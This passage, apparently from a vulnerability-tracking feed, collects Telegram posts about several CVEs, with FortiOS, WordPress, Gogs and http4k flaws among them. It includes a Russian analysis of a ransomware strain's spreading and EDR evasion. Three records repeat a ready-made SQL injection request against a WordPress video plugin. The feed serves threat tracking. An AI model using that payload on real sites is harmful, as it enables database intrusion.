\u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 Ubuntu 22.04 \u0434\u043b\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0441\u0435\u0430\u043d\u0441\u043e\u0432.\n\n\ud83d\udd35 CVE-2024-53678 \u0438 CVE-2024-53679 \u2014 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache VCL, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c SQLi \u0438 XSS \u0430\u0442\u0430\u043a\u0438. \n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-16T00:00:52.239547Z"}, {"uuid": "337ef247-6227-43e7-bd8d-d4d240d9de29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "seen", "source": "https://t.me/securixy_kz/914", "content": "\u041f\u0440\u043e\u0441\u044b\u043f\u0430\u0435\u043c\u0441\u044f, \u0437\u0430\u0432\u0442\u0440\u0430\u043a\u0430\u0435\u043c\n*\nCVE-2024-5522 WordPress HTML5 Video Player SQLi\n*\nusage:\nGET  /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -", "creation_timestamp": "2026-07-12T22:00:11.042351Z"}, {"uuid": "1b67d943-6373-4ae1-90c0-72f26a280f5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "seen", "source": "https://t.me/securixy_kz/914", "content": "\u041f\u0440\u043e\u0441\u044b\u043f\u0430\u0435\u043c\u0441\u044f, \u0437\u0430\u0432\u0442\u0440\u0430\u043a\u0430\u0435\u043c\n*\nCVE-2024-5522 WordPress HTML5 Video Player SQLi\n*\nusage:\nGET  /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -", "creation_timestamp": "2026-07-13T00:00:35.276310Z"}, {"uuid": "63cf4643-88ca-4058-b72e-45bc49451e27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/codeby_sec/10190", "content": "332 \u0436\u0435\u0440\u0442\u0432\u044b \u0437\u0430 \u043f\u044f\u0442\u044c \u043c\u0435\u0441\u044f\u0446\u0435\u0432: \u043a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0430\u043c \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043c\u0435\u043d\n\n\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044c\u0442\u0435: \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u043d\u0430 \u043e\u0434\u043d\u0443 \u043c\u0430\u0448\u0438\u043d\u0443 \u0432 \u0441\u0435\u0442\u0438, \u0430 \u0447\u0435\u0440\u0435\u0437 \u043c\u0438\u043d\u0443\u0442\u044b \u2014 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u2014 \u0443\u0436\u0435 \u043f\u043e\u043b\u0437\u0451\u0442 \u043f\u043e SMB-\u0448\u0430\u0440\u0430\u043c \u043d\u0430 \u0432\u0441\u0451, \u0434\u043e \u0447\u0435\u0433\u043e \u0434\u043e\u0442\u044f\u043d\u0435\u0442\u0441\u044f. \u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u0432 \u044d\u0442\u043e \u0432\u0440\u0435\u043c\u044f \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e \u0441\u043b\u0438\u0432\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435. \u0418\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 The Gentlemen \u2014 RaaS-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e Microsoft \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u043a\u0430\u043a Storm-2697.\n\n\ud83d\udd11\u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u0441\u0435\u043c\u043f\u043b \u043d\u0430 Go \u0434\u043e \u0432\u0438\u043d\u0442\u0438\u043a\u0430. \u0412\u043e\u0442 \u0447\u0442\u043e \u0432\u043d\u0443\u0442\u0440\u0438.\n\n\u041f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435. \u0413\u0440\u0443\u043f\u043f\u0430 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u043e\u0441\u043a\u043e\u043b\u043a\u0430 Qilin. \u042f\u0434\u0440\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e \u043a\u0430\u043a ArmCorp \u2014 \u0430\u0444\u0444\u0438\u043b\u0438\u0430\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 Qilin RaaS, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0441\u043b\u0443\u0447\u0438\u043b\u0441\u044f \u0441\u043a\u0430\u043d\u0434\u0430\u043b \u0441 \u043d\u0435\u0432\u044b\u043f\u043b\u0430\u0447\u0435\u043d\u043d\u044b\u043c\u0438 $48 000 \u043a\u043e\u043c\u0438\u0441\u0441\u0438\u0438. \u041f\u0435\u0440\u0432\u044b\u0439 \u0431\u0438\u043b\u0434 The Gentlemen \u0441 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0443\u0442\u0435\u0447\u043a\u0438 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u0430 VirusTotal \u0437\u0430 \u043f\u044f\u0442\u044c \u0434\u043d\u0435\u0439 \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0440\u044b\u0432\u0430 \u2014 \u0441\u043f\u043b\u0438\u0442 \u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0440\u0435\u0432\u0435\u0440\u0441\u044f\u0442 \u0441\u0435\u043c\u043f\u043b\u044b Babuk, LockBit, Medusa, \u0432\u044b\u0442\u0430\u0441\u043a\u0438\u0432\u0430\u044f \u043b\u0443\u0447\u0448\u0438\u0435 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0443\u0442\u0438\u043d\u044b \u0438 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 EDR. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014 \u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u0444\u043e\u0440\u043a.\n\n\u0422\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430. CVE-2024-55591 \u0432 FortiOS \u2014 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 CVSS 9.8. \u0423\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 super-admin \u0447\u0435\u0440\u0435\u0437 crafted-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a WebSocket-\u043c\u043e\u0434\u0443\u043b\u044e. \u0423 \u0433\u0440\u0443\u043f\u043f\u044b \u0432 \u0430\u0440\u0441\u0435\u043d\u0430\u043b\u0435 \u2014 14 700 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 FortiGate-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \u042d\u0442\u043e \u043d\u0435 \u0442\u0435\u043e\u0440\u0438\u044f, \u0430 \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u044c \u0434\u043b\u044f \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a.\n\n\u27a1\ufe0f\u0428\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435. XChaCha20 + Curve25519 \u0441 per-file \u044d\u0444\u0435\u043c\u0435\u0440\u043d\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c. \u041a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u0439\u043b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u0440\u0443 \u043a\u043b\u044e\u0447\u0435\u0439 \u2014 bulk-\u0434\u0435\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u043c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0431\u0435\u0441\u0441\u043c\u044b\u0441\u043b\u0435\u043d\u043d\u0430. \u0414\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0432\u044b \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u0435 \u043a\u043b\u044e\u0447 \u043e\u0442 \u043e\u0434\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0441\u0442\u0430\u043d\u0443\u0442\u0441\u044f \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u044b.\n\n\u27a1\ufe0f\u0421\u0430\u043c\u043e\u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435. \u0424\u043b\u0430\u0433 --spread \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a \u0432 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e\u0433\u043e \u0447\u0435\u0440\u0432\u044f. \u0428\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u0442 \u0441\u0435\u0442\u044c, \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0441\u0435\u0431\u044f \u043d\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 SMB-\u0448\u0430\u0440\u044b \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0445 \u043c\u0430\u0448\u0438\u043d\u0430\u0445. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c CrowdStrike, \u0441\u0440\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f lateral movement \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u2014 62 \u043c\u0438\u043d\u0443\u0442\u044b. The Gentlemen \u0441\u0436\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u043e \u043e\u043a\u043d\u043e \u0434\u043e \u043f\u0440\u0435\u0434\u0435\u043b\u0430: \u043f\u043e\u043a\u0430 SOC \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0441 \u043f\u0435\u0440\u0432\u044b\u043c \u0430\u043b\u0435\u0440\u0442\u043e\u043c, \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a \u0443\u0436\u0435 \u043d\u0430 \u0434\u0435\u0441\u044f\u0442\u043a\u0430\u0445 \u0445\u043e\u0441\u0442\u043e\u0432.\n\n\u0427\u0442\u043e \u0435\u0449\u0451 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e:\n\n\u2022 \u0411\u0438\u043d\u0430\u0440\u043d\u0438\u043a \u043d\u0430 Go, stripped symbols \u2014 \u043d\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 pclntab \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f, \u0438 \u0447\u0435\u0440\u0435\u0437 GoReSym \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u043c\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0438 \u043f\u0443\u0442\u0438 \u043a \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430\u043c\n\n\u2022 \u0412\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u0442 \u043e\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435 \u2014 \u0431\u0435\u0437 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0430\u0440\u043e\u043b\u044f \u0441\u0435\u043c\u043f\u043b \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\n\n\u2022 BYOVD \u0447\u0435\u0440\u0435\u0437 ThrottleStop.sys \u0434\u043b\u044f \u0443\u0431\u0438\u0439\u0441\u0442\u0432\u0430 EDR, \u043e\u0447\u0438\u0441\u0442\u043a\u0430 \u043b\u043e\u0433\u043e\u0432, \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 Defender \u2014 \u043f\u043e\u043b\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 defense evasion\n\n\u2022 \u041c\u043e\u0434\u0435\u043b\u044c 90/10 \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 \u0430\u0444\u0444\u0438\u043b\u0438\u0430\u0442\u0430 \u2014 \u0430\u0433\u0440\u0435\u0441\u0441\u0438\u0432\u043d\u0435\u0435 \u0440\u044b\u043d\u043a\u0430, \u0433\u0434\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 70-80%\n\n\u0412 \u043f\u043e\u043b\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u2014 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0432\u0435\u0440\u0441 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430, \u0440\u0430\u0437\u0431\u043e\u0440 kill chain \u043f\u043e \u0448\u0430\u0433\u0430\u043c, IOC \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e.\n\nhttps://codeby.net/threads/analiz-ransomware-the-gentlemen-revers-go-shifroval-shchika-storm-2697-s-samorasprostraneniyem-cherez-smb.93923/", "creation_timestamp": "2026-07-13T00:00:48.936644Z"}, {"uuid": "07c26033-9f8d-4a9e-9360-b6cbc3e1c5a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "published-proof-of-concept", "source": "https://t.me/securixy_kz/914", "content": "\u041f\u0440\u043e\u0441\u044b\u043f\u0430\u0435\u043c\u0441\u044f, \u0437\u0430\u0432\u0442\u0440\u0430\u043a\u0430\u0435\u043c\n*\nCVE-2024-5522 WordPress HTML5 Video Player SQLi\n*\nusage:\nGET  /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -", "creation_timestamp": "2026-07-14T00:00:58.174319Z"}, {"uuid": "148739a1-84ec-49fa-9305-f0ba6289e58c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/crackvaultde/607", "content": "\ud83d\udce2 Proof of Concept for CVE-2024-55591 Exploit\n https://crack-vault.de/d/392", "creation_timestamp": "2026-07-20T21:00:07.264906Z"}, {"uuid": "455e4934-0115-438d-91c6-696dbe910347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/crackvaultde/487", "content": "Fortinet Issues Warning About Exploited Zero-Day Vulnerability\n\nFortinet has warned that attackers are actively exploiting a zero-day vulnerability (CVE-2024-55591) in FortiOS and FortiProxy to bypass authentication and gain unauthorized access to firewalls, compromising enterprise networks. The attacks have been ongoing since November 2024.\n\nFor Details \nTG Channel: @crackvaultde \nTG Group: @crack_vault_group \nWebsite: crackvault.de", "creation_timestamp": "2026-07-20T21:00:07.418442Z"}, {"uuid": "23b52220-ffd8-4531-ae12-821aec3d0294", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/pphm_HackerNews/198", "content": "Forgotten Flaws Fueled a Global Ransomware Resurgence\n\nThe Mora_001 ransomware group has been actively exploiting CVE-2024-55591 and CVE-2025-24472, two high-severity vulnerabilities in Fortinet\u2019s FortiOS and FortiProxy products, to infiltrate enterprise networks. These flaws allow attackers to bypass authentication mechanisms and execute arbitrary code, enabling initial access and lateral movement. Despite CISA\u2019s January 2024 directive mandating federal agencies to patch within a week, unpatched systems remain prime targets.\n\n\ud83d\udd17 Read More", "creation_timestamp": "2026-07-20T22:00:04.492866Z"}, {"uuid": "e1b74d6d-6c0d-45fa-9815-dc7ea0a0c661", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55875", "type": "seen", "source": "https://t.me/pphm_HackerNews/106", "content": "CVE-2024-55875 Kotlin Programming Language\n\nhttp4k, a functional toolkit for Kotlin HTTP applications, is vulnerable to potential XML External Entity Injection (XXE) and Server-Side Request Forgery (SSRF) exploitation techniques in versions prior to 5.41.0.0. When handling malicious XML within incoming requests, http4k could enable threat actors to read locally stored sensitive information on the server and, in certain scenarios, execute remote code.", "creation_timestamp": "2026-07-20T22:00:04.879387Z"}, {"uuid": "59ca964a-6992-486a-9b98-395633258307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55875", "type": "seen", "source": "https://t.me/pphm_HackerNews/106", "content": "CVE-2024-55875 Kotlin Programming Language\n\nhttp4k, a functional toolkit for Kotlin HTTP applications, is vulnerable to potential XML External Entity Injection (XXE) and Server-Side Request Forgery (SSRF) exploitation techniques in versions prior to 5.41.0.0. When handling malicious XML within incoming requests, http4k could enable threat actors to read locally stored sensitive information on the server and, in certain scenarios, execute remote code.", "creation_timestamp": "2026-07-21T00:00:09.461438Z"}, {"uuid": "c84b82a6-2047-4b8a-880a-dc5abe3cfa8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/crackvaultde/607", "content": "\ud83d\udce2 Proof of Concept for CVE-2024-55591 Exploit\n https://crack-vault.de/d/392", "creation_timestamp": "2026-07-21T00:00:18.906268Z"}, {"uuid": "fce19286-ee0c-47e1-9279-ef2c15b9d045", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/crackvaultde/487", "content": "Fortinet Issues Warning About Exploited Zero-Day Vulnerability\n\nFortinet has warned that attackers are actively exploiting a zero-day vulnerability (CVE-2024-55591) in FortiOS and FortiProxy to bypass authentication and gain unauthorized access to firewalls, compromising enterprise networks. The attacks have been ongoing since November 2024.\n\nFor Details \nTG Channel: @crackvaultde \nTG Group: @crack_vault_group \nWebsite: crackvault.de", "creation_timestamp": "2026-07-21T00:00:19.054828Z"}, {"uuid": "7a2ec9c2-1294-4bb9-a91e-ba207016f0b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://t.me/pphm_HackerNews/198", "content": "Forgotten Flaws Fueled a Global Ransomware Resurgence\n\nThe Mora_001 ransomware group has been actively exploiting CVE-2024-55591 and CVE-2025-24472, two high-severity vulnerabilities in Fortinet\u2019s FortiOS and FortiProxy products, to infiltrate enterprise networks. These flaws allow attackers to bypass authentication mechanisms and execute arbitrary code, enabling initial access and lateral movement. Despite CISA\u2019s January 2024 directive mandating federal agencies to patch within a week, unpatched systems remain prime targets.\n\n\ud83d\udd17 Read More", "creation_timestamp": "2026-07-21T01:00:06.850829Z"}, {"uuid": "2dbf8aa6-38c5-4f57-b0bc-a4faa82e95f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/crackvaultde/607", "content": "\ud83d\udce2 Proof of Concept for CVE-2024-55591 Exploit\n https://crack-vault.de/d/392", "creation_timestamp": "2026-07-22T00:00:33.233563Z"}, {"uuid": "6577b901-5119-4573-8f80-44af50b4ee48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://t.me/crackvaultde/487", "content": "Fortinet Issues Warning About Exploited Zero-Day Vulnerability\n\nFortinet has warned that attackers are actively exploiting a zero-day vulnerability (CVE-2024-55591) in FortiOS and FortiProxy to bypass authentication and gain unauthorized access to firewalls, compromising enterprise networks. The attacks have been ongoing since November 2024.\n\nFor Details \nTG Channel: @crackvaultde \nTG Group: @crack_vault_group \nWebsite: crackvault.de", "creation_timestamp": "2026-07-22T00:00:33.093158Z"}, {"uuid": "c3e23a0e-4591-4452-995d-e176bc0dc14f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "MISP/d0c7913b-301c-41c3-8c35-5beca598eebc", "content": "", "creation_timestamp": "2026-07-25T00:15:04.482435Z"}, {"uuid": "75b4c299-f42c-4a11-8040-4e80a6ee2cef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55947", "type": "seen", "source": "https://t.me/ZerodayAlert/596", "content": "\u0412 Gogs \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f\n\n\ud83c\udfaf CVE-2025-8110 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Gogs 0.13.3 \u0438 \u043d\u0438\u0436\u0435 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0435\u0439. \u0423\u0436\u0435 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0431\u043e\u043b\u0435\u0435 700 \u0438\u0437 1400 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432.\n\n\ud83d\udd27 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0431\u0445\u043e\u0434 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u043f\u0430\u0442\u0447\u0430 CVE-2024-55947. \u041f\u0440\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043d\u0435 \u0443\u0447\u043b\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\ud83d\udee1 \u041e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d, \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u0443\u044e \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e. \u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a Supershell, \u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u0432 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445 